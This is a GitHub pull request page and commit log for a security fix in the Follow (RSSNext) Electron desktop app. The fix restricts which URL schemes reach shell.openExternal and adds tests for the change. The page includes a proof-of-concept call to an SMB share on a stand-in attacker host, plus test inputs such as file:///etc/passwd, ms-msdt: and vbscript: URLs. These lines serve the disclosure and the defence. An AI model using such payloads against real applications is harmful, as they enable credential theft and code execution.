Skip to content

fix(desktop/ipc): allowlist URL scheme protocols in openURLScheme - #5056

Merged
DIYgod merged 1 commit into
RSSNext:devfrom
sebastionoss:fix/cwe78-integration-url-d437
Jul 28, 2026
Merged

fix(desktop/ipc): allowlist URL scheme protocols in openURLScheme#5056
DIYgod merged 1 commit into
RSSNext:devfrom
sebastionoss:fix/cwe78-integration-url-d437

Conversation

@sebastionoss

@sebastionoss sebastionoss commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

Description

The integration.openURLScheme IPC method in the desktop main process invokes shell.openExternal on a renderer-supplied string after only checking that the string contains "://". Electron's documentation explicitly warns that passing untrusted input to shell.openExternal is unsafe: schemes such as file://, smb://, ms-msdt:, search-ms:, jar:, res:, javascript:, data: and vbscript: have well-documented abuse chains (local file disclosure, NTLM credential theft over SMB on Windows, MSDT/Follina-style RCE, etc.).

This PR replaces the substring check with strict URL parsing plus an allowlist of the schemes the integrations UI is actually intended to support (obsidian, bear, drafts, things, notion, x-devonthink) plus generic http, https, and mailto. Any other protocol is rejected with a clear error before reaching shell.openExternal.

PR Type

  • Bugfix (security hardening)

Vulnerability details

  • File: apps/desktop/layer/main/src/ipc/services/integration.ts
  • Method: IntegrationService.openURLScheme (invoked over IPC from the renderer at apps/desktop/layer/renderer/src/modules/integration/url-scheme-handler.ts:72)
  • Weakness: CWE-78 / CWE-20 — insufficient validation of a value that reaches an OS-level "open handler for URL" primitive.
  • Data flow: renderer → ipcServices.integration.openURLScheme(scheme) → main → shell.openExternal(scheme). The only pre-existing check was scheme.includes("://"), which permits file://, smb://, jar:http://…, etc.
  • Threat model: any XSS sink in the renderer (RSS/feed content is inherently untrusted), or a malicious "URL scheme" template a user has been convinced to configure in the Custom Integration modal, can call this IPC. On Windows in particular, smb://attacker/share leaks the user's NTLM hash to an attacker-controlled host on a single click; ms-msdt: and search-ms: have historical RCE chains; file:///… allows unwanted local resource access.

Fix rationale

  • Parse the input with new URL(scheme) so we get a real, normalized protocol rather than a substring guess. Invalid inputs throw and are rejected.
  • Lowercase and strip the trailing : from the protocol, then check membership against a Set allowlist. The allowlist covers exactly the schemes that ship as built-in examples in the integrations UI (url-scheme-handler.ts examples: Obsidian, Bear, Drafts, Things, Notion, DEVONthink) plus http/https/mailto for the generic "open link" cases.
  • Rejection returns a descriptive error listing the permitted schemes, so a user misconfiguring a custom integration gets an actionable message instead of a silent open of the wrong handler.
  • No allowed workflow is regressed: everything the UI already documents as a valid example continues to work.

Tests

Added vitest coverage in apps/desktop/layer/main/src/ipc/services/integration.test.ts:

  • Rejects unparseable input ("not-a-url") without invoking shell.openExternal.
  • Blocks representative dangerous schemes and asserts shell.openExternal is not called: file:///etc/passwd, FILE:///… (case), smb://…, jar:http://…!/, res://shell32.dll/1, ms-msdt:/id PCWDiagnostic, search-ms:query=…, javascript:, data:text/html,…, vbscript:.
  • Permits every scheme that appears as a built-in example in url-scheme-handler.ts plus generic http/https/mailto, and asserts the exact string is forwarded to shell.openExternal.

Run locally with:

pnpm --filter @follow/electron-main test integration.test.ts

Proof of concept

From a rendered feed item (or any renderer context that can execute JS — the primary concern here is a stored-XSS gadget in third-party feed content), the following call previously reached shell.openExternal verbatim and, on Windows, would exfiltrate the user's NTLM hash to attacker.example:

// In renderer context, pre-fix:
await window.ipcServices.integration.openURLScheme("smb://attacker.example/share")
// Passed the `.includes("://")` check → shell.openExternal("smb://…") → SMB auth attempt.

After this PR the same call throws URL scheme "smb://" is not allowed. Allowed schemes: bear, drafts, http, https, mailto, notion, obsidian, things, x-devonthink. and shell.openExternal is never invoked. The vitest suite reproduces this deterministically without needing a Windows host — it asserts on the mock.

Adversarial review

Before submitting, we tried to disprove this finding. The relevant questions were:

  1. Is there a renderer-side guard that already sanitizes the scheme? No. url-scheme-handler.ts builds finalScheme from user-configured templates and passes it straight to the IPC. The only gate was the substring check inside the main process.
  2. Does the non-Electron web build reach shell.openExternal? No — the web build routes through window.open, which honors the browser's own scheme policies. The vulnerable path only exists in the desktop (Electron) build, which the PR correctly targets.
  3. Is context isolation enough on its own? Context isolation prevents renderer→main memory tampering but does not prevent the renderer from calling a legitimately exposed IPC with attacker-controlled arguments — that's exactly the misuse here.
  4. Would the allowlist break a real integration? Cross-checked against every scheme listed as a built-in example in url-scheme-handler.ts; all are covered. Users adding custom URL-scheme integrations for other apps will need those schemes added to the allowlist, which is the intended behavior for a security boundary.

Linked Issues

None — reporting directly via PR per SECURITY.md (a security advisory could also be filed, but the fix diff is small and self-contained, so we're proposing it publicly here).

Additional context

The fix is intentionally minimal: two files changed, ~117 lines including tests. No dependency changes, no changes to renderer code, no changes to the IPC contract (same method signature and return shape).

The 'integration.openURLScheme' IPC method invokes 'shell.openExternal'
with a renderer-supplied string after only checking that it contains
'://'. Electron's documentation explicitly warns that passing untrusted
URLs to 'shell.openExternal' is unsafe: schemes such as 'file://',
'smb://', 'ms-msdt:', 'search-ms:', 'jar:', 'res:', 'javascript:',
'data:' and 'vbscript:' have well-known abuse chains (local file
disclosure, NTLM credential theft over SMB on Windows, MSDT/Follina-style
RCE, etc.). Because the renderer process can also reach this IPC via any
XSS sink in untrusted RSS feed content, the previous validation was not
sufficient.

Replace the substring check with strict URL parsing plus an allowlist of
protocols that match the integration use-cases documented in the UI
(Obsidian, Bear, Drafts, Things, Notion, DEVONthink) plus generic
http/https/mailto. All other protocols are rejected with a clear error.

Adds vitest cases for representative dangerous schemes (verifying that
'shell.openExternal' is never invoked) and for every scheme shipped as a
built-in example, so future regressions on either side are caught.
@DIYgod
DIYgod merged commit bd91b01 into RSSNext:dev Jul 28, 2026
@sebastionoss

Copy link
Copy Markdown
Contributor Author

Appreciate the review — thanks for getting it merged.

DIYgod added a commit that referenced this pull request Jul 31, 2026
* release(mobile): release v0.5.6

* docs(mobile): restore desktop release inputs

* fix(desktop): use js-yaml ESM exports

* fix(desktop): package jsdom runtime dependencies

* fix(desktop): use js-yaml ESM exports for Windows metadata

* build(deps): bump actions/setup-node from 6 to 7 (#5046)

Bumps [actions/setup-node](https://github.com/actions/setup-node) from 6 to 7.
- [Release notes](https://github.com/actions/setup-node/releases)
- [Commits](actions/setup-node@v6...v7)

---
updated-dependencies:
- dependency-name: actions/setup-node
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* fix(ssr): escape hydration data in inline scripts

* fix(ssr): restore shared user profiles

* fix: make Codex worktree setup portable

* fix(mobile): restore dark mode text colors

* fix(styles): avoid DaisyUI border token collision

* fix(desktop): restore category chevron rotation

* fix(subscription): recover past-due Stripe checkout

* fix(desktop): dismiss share popover after actions

* fix(mobile): handle RSSHub subscription limit errors

* fix(desktop/ipc): allowlist URL scheme protocols in openURLScheme (#5056)

The 'integration.openURLScheme' IPC method invokes 'shell.openExternal'
with a renderer-supplied string after only checking that it contains
'://'. Electron's documentation explicitly warns that passing untrusted
URLs to 'shell.openExternal' is unsafe: schemes such as 'file://',
'smb://', 'ms-msdt:', 'search-ms:', 'jar:', 'res:', 'javascript:',
'data:' and 'vbscript:' have well-known abuse chains (local file
disclosure, NTLM credential theft over SMB on Windows, MSDT/Follina-style
RCE, etc.). Because the renderer process can also reach this IPC via any
XSS sink in untrusted RSS feed content, the previous validation was not
sufficient.

Replace the substring check with strict URL parsing plus an allowlist of
protocols that match the integration use-cases documented in the UI
(Obsidian, Bear, Drafts, Things, Notion, DEVONthink) plus generic
http/https/mailto. All other protocols are rejected with a clear error.

Adds vitest cases for representative dangerous schemes (verifying that
'shell.openExternal' is never invoked) and for every scheme shipped as a
built-in example, so future regressions on either side are caught.

* chore(ci): format integration URL scheme test

* fix(mobile): use product IDs for Apple IAP verification

* docs(desktop): prepare release inputs

* docs(mobile): prepare release metadata

* release(desktop): release v1.12.0

* docs(desktop): restore mobile release inputs

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Sebastion <sebastion@sebastion.dev>
DIYgod added a commit that referenced this pull request Jul 31, 2026
* release(desktop): release v1.11.0

* docs(desktop): restore mobile release inputs

* fix(desktop): use js-yaml ESM exports

* fix(desktop): use js-yaml ESM exports

* fix(desktop): package jsdom runtime dependencies

* fix(desktop): package jsdom runtime dependencies

* fix(desktop): use js-yaml ESM exports for Windows metadata

* build(deps): bump actions/setup-node from 6 to 7 (#5046)

Bumps [actions/setup-node](https://github.com/actions/setup-node) from 6 to 7.
- [Release notes](https://github.com/actions/setup-node/releases)
- [Commits](actions/setup-node@v6...v7)

---
updated-dependencies:
- dependency-name: actions/setup-node
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* fix(ssr): escape hydration data in inline scripts

* fix(ssr): restore shared user profiles

* fix: make Codex worktree setup portable

* fix(mobile): restore dark mode text colors

* fix(styles): avoid DaisyUI border token collision

* fix(desktop): restore category chevron rotation

* fix(subscription): recover past-due Stripe checkout

* fix(desktop): dismiss share popover after actions

* fix(mobile): handle RSSHub subscription limit errors

* fix(desktop/ipc): allowlist URL scheme protocols in openURLScheme (#5056)

The 'integration.openURLScheme' IPC method invokes 'shell.openExternal'
with a renderer-supplied string after only checking that it contains
'://'. Electron's documentation explicitly warns that passing untrusted
URLs to 'shell.openExternal' is unsafe: schemes such as 'file://',
'smb://', 'ms-msdt:', 'search-ms:', 'jar:', 'res:', 'javascript:',
'data:' and 'vbscript:' have well-known abuse chains (local file
disclosure, NTLM credential theft over SMB on Windows, MSDT/Follina-style
RCE, etc.). Because the renderer process can also reach this IPC via any
XSS sink in untrusted RSS feed content, the previous validation was not
sufficient.

Replace the substring check with strict URL parsing plus an allowlist of
protocols that match the integration use-cases documented in the UI
(Obsidian, Bear, Drafts, Things, Notion, DEVONthink) plus generic
http/https/mailto. All other protocols are rejected with a clear error.

Adds vitest cases for representative dangerous schemes (verifying that
'shell.openExternal' is never invoked) and for every scheme shipped as a
built-in example, so future regressions on either side are caught.

* chore(ci): format integration URL scheme test

* fix(mobile): use product IDs for Apple IAP verification

* docs(desktop): prepare release inputs

* docs(mobile): prepare release metadata

* release(mobile): release v0.5.7

* docs(mobile): restore desktop release inputs

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Sebastion <sebastion@sebastion.dev>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants